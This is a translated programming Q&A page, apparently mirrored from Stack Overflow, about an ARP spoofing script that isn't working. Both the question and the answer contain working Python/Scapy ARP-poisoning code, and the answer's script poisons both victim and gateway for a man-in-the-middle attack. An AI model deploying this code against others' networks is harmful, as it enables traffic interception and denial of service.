繁体   English   中英

Arp 欺骗/中毒不工作/停止工作

[英]Arp Spoofing/Poisoning not working/stopped working

我最近一直在尝试使用 Python 和 Scapy 构建一个“中间人”(出于我自己的实践,没有恶意目的)。 我开始编写代码来创建一个dos,但是由于某种原因它的行为很奇怪。 首先,由于某种原因,当我在我的 Windows PC 上运行它时,arp 条目永远不会改变。 我什至已经清除了 arp 表(arp -d *),但网关的真实 MAC 地址仍然返回。 其次,代码似乎只在我的手机上部分工作——打开网站时,只需要很长时间。 还有一些网站似乎没有受到影响(Instagram 工作......)。 此外,针对不同品牌的手机运行代码会产生不同的结果。

会不会是在不同的设备上有安全措施? 我做错什么了吗? 这是代码,感谢您的帮助!

from enum import Enum

import getmac
import netifaces
from scapy.all import ARP, Ether, sendp


class DeviceIps(Enum):
    MyPhone = '192.168.1.27'
    MyPc = '192.168.1.70'


class Device(object):
    def __init__(self, ip: str):
        self.ip = ip


def get_mac_from_ip(ip=None):
    return getmac.get_mac_address(ip=ip)


def build_poison_packet(victim_ip):
    ARP_RESPONSE_CODE = 0x2
    FAKE_MAC_ADDRESS = 'aa:bb:cc:dd:ee:ff'

    gateway_ip_address = netifaces.gateways()['default'][netifaces.AF_INET][0]
    victim_mac_address = get_mac_from_ip(victim_ip)
    poison_packet = Ether(src=FAKE_MAC_ADDRESS, dst=victim_mac_address) \
                    / ARP(psrc=gateway_ip_address,  # -> Address to lie about
                          hwsrc=FAKE_MAC_ADDRESS,  # -> Mac address to direct to
                          hwdst=victim_mac_address, pdst=victim_ip, op=ARP_RESPONSE_CODE)
    return poison_packet


def poison(target: Device):
    poison_packet = build_poison_packet(target.ip)
    print(poison_packet.show())
    while True:
        sendp(poison_packet)


def main():
    poison(Device(DeviceIps.MyPc.value))

main()

这是向受害者和主机(网关)地址发送 arp 回复的简单 scapy 代码。 您可以在脚本终止之前清理受害者和主机 arp 表。

#!/bin/env python

from scapy.all import Ether, ARP, sendp
import time

victim_hw_addr = "34:e1:2d:83:20:aa"
victim_ip_addr = "192.168.43.152"
gw_hw_addr = "ce:9f:7a:7b:d7:aa"
gw_ip_addr = "192.168.43.1"
my_hw_addr = "8c:85:90:c3:0b:aa"
tmout = 100

arp4victim = Ether(dst=victim_hw_addr, src=my_hw_addr) / ARP(pdst=victim_ip_addr, hwdst=victim_hw_addr, psrc=gw_ip_addr, hwsrc=my_hw_addr, op=2)
arp4gw = Ether(dst=gw_hw_addr, src=my_hw_addr) / ARP(pdst=gw_ip_addr, hwdst=gw_hw_addr, psrc=victim_ip_addr, hwsrc=my_hw_addr, op=2)

while True:
    sendp(arp4victim)
    sendp(arp4gw)
    time.sleep(3)
    print "*"

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM